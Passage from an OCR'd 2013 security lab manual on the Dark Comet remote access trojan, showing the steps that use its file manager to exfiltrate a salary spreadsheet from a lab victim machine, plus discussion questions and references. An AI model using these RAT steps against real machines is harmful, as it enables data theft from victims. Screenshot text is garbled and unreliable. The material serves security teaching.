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5. Inthe right pane, (Your Windows 7 Machine) click C: > Users > Student >
Desktop. In the left pane, (the victim machine) go into the Salary folder. Click on
the spreadsheet file located in the Salary folder. Click the Receive button to
exfiltrate the XLSX Spreadsheet from the victim.

I File Manager : [SERVER / SYSTEM), Socket : [1828]. o e =
D X ui o+ ] TEEY
Mame Tvpe Size it Mame Tvpe Size
. Folder .. Folder
) iconsext Folder F] CompanyiyZ salaries-DoNOTDistribuke, s #LSK File 2,50}
| Malware Folder
| MetworkMiner_1-3 Folder
| steq Folder E
Bruter.exe - Short..,  Shorbcuk 570,00 Bytes
M cain.Ink Shartcut 1.73KB
B crnd - Shorkout, Ink Shorkeut 1.34 KB
| |deface.bxt Text Docurment 81,00 Bytes
'ﬂExcel\"iewer.exe Application 74.14 MB
1 iconsext. zip Compressed (zipped... 33,90 KE
Ig—ll‘ﬂicrosoft Office 0., Shorbcut Z.63 KB
"‘ MetworkMiner.exe.., Shortcuk 1.1Z KB
l&n: b ava Arnlicsbinn 472 NN KR i i U 5
I C:hsers)studentiDeskioph, I |l]__|

Figure 70: Exfiltrate the Data

6. Open the CompanyXYZsalaries-DoNOTDistribute.xIsx file on your desktop.

% B

1 Employee Salary

2

2 Amanda anderson 47,000
4 Baron Beetle =9,000
S |Robert Carington 56,000
& |Charile Casington TS,000
T Dana Dantfield 64,500
8 |Eddy Frome 33,115
9 | Gary Garrison 88,771
10 | &ndy Meterson 99,122
11 Raymond Miller 179,995
12 |Steve Perkins 45,551
13 &l Teeing 51,123
14 |Zachery ¥ickson 12,245

Figure 71: The Exfiltrated Spreadsheet

3.2 Conclusion
Dark Comet is a Graphical User Interface, or GUI, that allows the hacker to perform
malicious tasks against a victim machine, like data-theft over an encrypted connection.

3.3 Discussion Questions

Name the folders located on C:, which are common to all Windows distributions.
What is the purpose of the i386 folder?

On what machines would the Documents and Settings folder be rarely used?
Why is it difficult to detect the Excel file being stolen if Dark Comet is utilized?

bl S

7/18/2013 Copyright © 2013 NISGTC Page 31 of 32




Lab 6: Utilizing Malware - Dark Comet

References

1. Dark Comet RAT:
http://darkcomet-rat.com/

2. Malware Analysis - Dark Comet RAT:
http://www.contextis.com/research/blog/malware-analysis-dark-comet-rat/

3. DarkComet RAT Pulled by Developer:
http://www.securityweek.com/darkcomet-rat-pulled-developer

4. Dark Comet 2: Electric Boogaloo:
blog.malwarebytes.org/intelligence/2012/10/dark-comet-2-electric-boogaloo/

5. DarkComet RAT Flames Out:
http://threatpost.com/en us/blogs/darkcomet-rat-flames-out-070912

7/18/2013 Copyright © 2013 NISGTC Page 32 of 32


http://darkcomet-rat.com/
http://www.contextis.com/research/blog/malware-analysis-dark-comet-rat/
http://www.securityweek.com/darkcomet-rat-pulled-developer
http://blog.malwarebytes.org/intelligence/2012/10/dark-comet-2-electric-boogaloo/
http://threatpost.com/en_us/blogs/darkcomet-rat-flames-out-070912

